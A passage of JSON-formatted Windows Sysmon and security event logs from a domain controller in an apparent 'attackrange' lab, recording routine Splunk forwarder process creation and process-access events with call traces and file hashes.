","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59087","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.344\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nSourceProcessId: 4092\r\nSourceThreadId: 2600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.344","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","SourceProcessId":"4092","SourceThreadId":"2600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.386\r\nProcessGuid: {90617006-3FE6-5F2D-0000-001051180300}\r\nProcessId: 2412\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.386","ProcessGuid":"{90617006-3FE6-5F2D-0000-001051180300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" check-license","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+64ab|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1807c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 